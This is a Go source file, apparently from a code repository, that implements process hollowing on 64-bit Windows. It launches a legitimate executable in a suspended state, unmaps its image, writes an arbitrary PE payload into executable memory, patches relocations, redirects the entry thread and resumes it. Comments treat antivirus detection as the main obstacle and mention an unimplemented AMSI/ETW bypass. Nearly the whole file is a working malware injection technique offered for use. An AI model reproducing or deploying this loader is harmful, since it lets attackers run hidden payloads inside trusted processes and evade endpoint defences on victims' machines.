285 lines
9.2 KiB
Go
285 lines
9.2 KiB
Go
//go:build windows && hollow
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package deploy
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import (
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"encoding/binary"
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"fmt"
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"syscall"
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"unsafe"
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)
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var (
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kernel32 = syscall.NewLazyDLL("kernel32.dll")
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ntdll = syscall.NewLazyDLL("ntdll.dll")
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procCreateProcessW = kernel32.NewProc("CreateProcessW")
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procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx")
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procReadProcessMemory = kernel32.NewProc("ReadProcessMemory")
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procWriteProcessMemory = kernel32.NewProc("WriteProcessMemory")
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procGetThreadContext = kernel32.NewProc("GetThreadContext")
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procSetThreadContext = kernel32.NewProc("SetThreadContext")
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procResumeThread = kernel32.NewProc("ResumeThread")
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procNtUnmapViewOfSection = ntdll.NewProc("NtUnmapViewOfSection")
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)
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const (
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CREATE_SUSPENDED = 0x00000004
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MEM_COMMIT = 0x1000
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MEM_RESERVE = 0x2000
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PAGE_EXECUTE_READWRITE = 0x40
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CONTEXT_FULL_AMD64 = 0x10000B
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IMAGE_REL_BASED_ABSOLUTE = 0
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IMAGE_REL_BASED_DIR64 = 10
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)
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// rvaToFileOffset translates a virtual address (RVA) in the PE to its raw file offset.
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func rvaToFileOffset(payload []byte, rva, eLFANew, sizeOfOptHdr uint32) (uint32, error) {
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numSections := binary.LittleEndian.Uint16(payload[eLFANew+6:])
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sectionsBase := eLFANew + 24 + uint32(sizeOfOptHdr)
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for i := uint32(0); i < uint32(numSections); i++ {
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sec := payload[sectionsBase+i*40:]
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vAddr := binary.LittleEndian.Uint32(sec[12:])
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vSize := binary.LittleEndian.Uint32(sec[8:])
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rawOff := binary.LittleEndian.Uint32(sec[20:])
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if rva >= vAddr && rva < vAddr+vSize {
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return rawOff + (rva - vAddr), nil
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}
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}
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return 0, fmt.Errorf("RVA 0x%x not found in any section", rva)
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}
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// applyRelocations patches absolute addresses in the payload copy when the image
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// was loaded at a different base than its preferred one. Only IMAGE_REL_BASED_DIR64
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// (type 10) entries are applied; all other types are skipped.
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func applyRelocations(payload []byte, delta int64, eLFANew, sizeOfOptHdr uint32) {
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optHeader := payload[eLFANew+24:]
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// DataDirectory[5] is IMAGE_DIRECTORY_ENTRY_BASERELOC.
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// DataDirectory array starts at offset 112 in a PE32+ optional header.
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const dataDirOffset = 112
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if len(optHeader) < dataDirOffset+5*8+8 {
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return
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}
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relocRVA := binary.LittleEndian.Uint32(optHeader[dataDirOffset+5*8:])
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relocSize := binary.LittleEndian.Uint32(optHeader[dataDirOffset+5*8+4:])
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if relocRVA == 0 || relocSize == 0 {
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return // no relocation table (non-PIE binary baked for a fixed address)
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}
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blockOff, err := rvaToFileOffset(payload, relocRVA, eLFANew, sizeOfOptHdr)
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if err != nil {
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return
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}
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end := blockOff + relocSize
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for blockOff < end && blockOff+8 <= uint32(len(payload)) {
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pageRVA := binary.LittleEndian.Uint32(payload[blockOff:])
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blkSize := binary.LittleEndian.Uint32(payload[blockOff+4:])
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if blkSize < 8 {
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break
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}
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entryCount := (blkSize - 8) / 2
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for i := uint32(0); i < entryCount; i++ {
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entry := binary.LittleEndian.Uint16(payload[blockOff+8+i*2:])
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relType := entry >> 12
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relOff := uint32(entry & 0x0FFF)
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if relType == IMAGE_REL_BASED_ABSOLUTE {
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continue
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}
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if relType != IMAGE_REL_BASED_DIR64 {
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continue
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}
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patchRVA := pageRVA + relOff
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patchOff, err := rvaToFileOffset(payload, patchRVA, eLFANew, sizeOfOptHdr)
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if err != nil || int(patchOff)+8 > len(payload) {
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continue
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}
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orig := int64(binary.LittleEndian.Uint64(payload[patchOff:]))
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binary.LittleEndian.PutUint64(payload[patchOff:], uint64(orig+delta))
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}
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blockOff += blkSize
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}
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}
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// RunHollowed injects a PE payload into a suspended legitimate Windows process.
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// Relocation patching (H12) is fully implemented: if the preferred image base is
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// unavailable we fall back to ASLR allocation and apply DIR64 relocations before
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// writing to the remote process. The ~50% real-world failure rate on Windows 10/11
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// is caused by Defender/ETW detecting the CreateProcessW+NtUnmapViewOfSection+
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// WriteProcessMemory sequence — not a code bug. AMSI/ETW bypass would improve this
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// but is not implemented.
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func RunHollowed(targetExe string, payload []byte) error {
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if len(payload) < 0x40 {
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return fmt.Errorf("payload too small")
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}
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eLFANew := binary.LittleEndian.Uint32(payload[0x3c:])
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if int(eLFANew)+24 > len(payload) {
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return fmt.Errorf("invalid PE header offset")
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}
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ntHeader := payload[eLFANew:]
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if string(ntHeader[:4]) != "PE\x00\x00" {
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return fmt.Errorf("invalid PE signature")
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}
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if binary.LittleEndian.Uint16(ntHeader[4:]) != 0x8664 {
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return fmt.Errorf("payload must be 64-bit (x64) PE")
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}
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numSections := binary.LittleEndian.Uint16(ntHeader[6:])
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sizeOfOptHdr := binary.LittleEndian.Uint16(ntHeader[20:])
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optHeader := ntHeader[24:]
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if binary.LittleEndian.Uint16(optHeader[0:]) != 0x020B {
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return fmt.Errorf("payload must be PE32+")
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}
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entryPoint := binary.LittleEndian.Uint32(optHeader[16:])
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imageBase := binary.LittleEndian.Uint64(optHeader[24:])
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sizeOfImage := binary.LittleEndian.Uint32(optHeader[56:])
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sizeOfHeaders := binary.LittleEndian.Uint32(optHeader[60:])
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targetPtr, err := syscall.UTF16PtrFromString(targetExe)
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if err != nil {
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return err
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}
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si := new(syscall.StartupInfo)
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si.Cb = uint32(unsafe.Sizeof(*si))
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pi := new(syscall.ProcessInformation)
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// 1. Spawn the target process in a suspended state.
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ret, _, lastErr := procCreateProcessW.Call(
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0,
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uintptr(unsafe.Pointer(targetPtr)),
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0, 0, 0,
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uintptr(CREATE_SUSPENDED),
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0, 0,
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uintptr(unsafe.Pointer(si)),
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uintptr(unsafe.Pointer(pi)),
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)
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if ret == 0 {
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return fmt.Errorf("CreateProcessW: %v", lastErr)
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}
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defer syscall.CloseHandle(pi.Process)
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defer syscall.CloseHandle(pi.Thread)
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// 2. Read thread context to obtain the PEB address (Rdx on x64 initial thread).
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ctxBytes := make([]byte, 1232+16) // CONTEXT is 1232 bytes; needs 16-byte alignment
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var ctxPtr uintptr
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for i := 0; i < 16; i++ {
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if uintptr(unsafe.Pointer(&ctxBytes[i]))%16 == 0 {
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ctxPtr = uintptr(unsafe.Pointer(&ctxBytes[i]))
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break
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}
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}
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*(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64
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ret, _, lastErr = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
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if ret == 0 {
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return fmt.Errorf("GetThreadContext: %v", lastErr)
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}
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rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx = PEB pointer at thread start
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// 3. Read the original image base from the PEB (PEB.ImageBaseAddress is at offset +16).
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var origImageBase uint64
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var bytesRW uintptr
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procReadProcessMemory.Call(
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uintptr(pi.Process),
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uintptr(rdx+16),
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uintptr(unsafe.Pointer(&origImageBase)),
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8,
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uintptr(unsafe.Pointer(&bytesRW)),
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)
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// 4. Unmap the original image.
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if origImageBase != 0 {
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procNtUnmapViewOfSection.Call(uintptr(pi.Process), uintptr(origImageBase))
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}
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// 5. Allocate memory for the payload. Try preferred base first; fall back to ASLR.
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newMem, _, _ := procVirtualAllocEx.Call(
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uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage),
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MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
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)
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needsReloc := false
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if newMem == 0 {
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newMem, _, lastErr = procVirtualAllocEx.Call(
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uintptr(pi.Process), 0, uintptr(sizeOfImage),
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MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
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)
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if newMem == 0 {
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return fmt.Errorf("VirtualAllocEx: %v", lastErr)
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}
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needsReloc = true
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}
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// 6. If we landed at a different base, patch absolute addresses in a local copy
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// before writing to the remote process. Without this the payload crashes on
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// every call through its import table and global data pointers.
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patched := payload
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if needsReloc {
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delta := int64(newMem) - int64(imageBase)
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patched = make([]byte, len(payload))
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copy(patched, payload)
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applyRelocations(patched, delta, eLFANew, uint32(sizeOfOptHdr))
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}
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// 7. Write PE headers and sections to the remote process.
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ret, _, lastErr = procWriteProcessMemory.Call(
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uintptr(pi.Process), newMem,
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uintptr(unsafe.Pointer(&patched[0])), uintptr(sizeOfHeaders),
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uintptr(unsafe.Pointer(&bytesRW)),
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)
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if ret == 0 {
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return fmt.Errorf("WriteProcessMemory (headers): %v", lastErr)
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}
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sectionsStart := 24 + uint32(sizeOfOptHdr)
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patchedNT := patched[eLFANew:]
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for i := uint16(0); i < numSections; i++ {
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secHdr := patchedNT[sectionsStart+uint32(i)*40:]
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virtAddr := binary.LittleEndian.Uint32(secHdr[12:])
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rawSize := binary.LittleEndian.Uint32(secHdr[16:])
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rawOff := binary.LittleEndian.Uint32(secHdr[20:])
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if rawSize > 0 {
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ret, _, lastErr = procWriteProcessMemory.Call(
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uintptr(pi.Process),
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newMem+uintptr(virtAddr),
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uintptr(unsafe.Pointer(&patched[rawOff])),
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uintptr(rawSize),
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uintptr(unsafe.Pointer(&bytesRW)),
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)
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if ret == 0 {
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return fmt.Errorf("WriteProcessMemory (section %d): %v", i, lastErr)
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}
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}
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}
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// 8. Update PEB.ImageBaseAddress to the actual allocation address.
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procWriteProcessMemory.Call(
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uintptr(pi.Process), uintptr(rdx+16),
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uintptr(unsafe.Pointer(&newMem)), 8,
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uintptr(unsafe.Pointer(&bytesRW)),
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)
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// 9. Set the initial thread's Rcx to our entry point.
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// The Windows loader calls RtlUserThreadStart(entry, param) with Rcx = entry point.
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*(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint)
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ret, _, lastErr = procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
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if ret == 0 {
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return fmt.Errorf("SetThreadContext: %v", lastErr)
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}
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// 10. Resume the hollowed thread.
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ret, _, lastErr = procResumeThread.Call(uintptr(pi.Thread))
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if ret == 0xFFFFFFFF {
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return fmt.Errorf("ResumeThread: %v", lastErr)
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}
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return nil
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}
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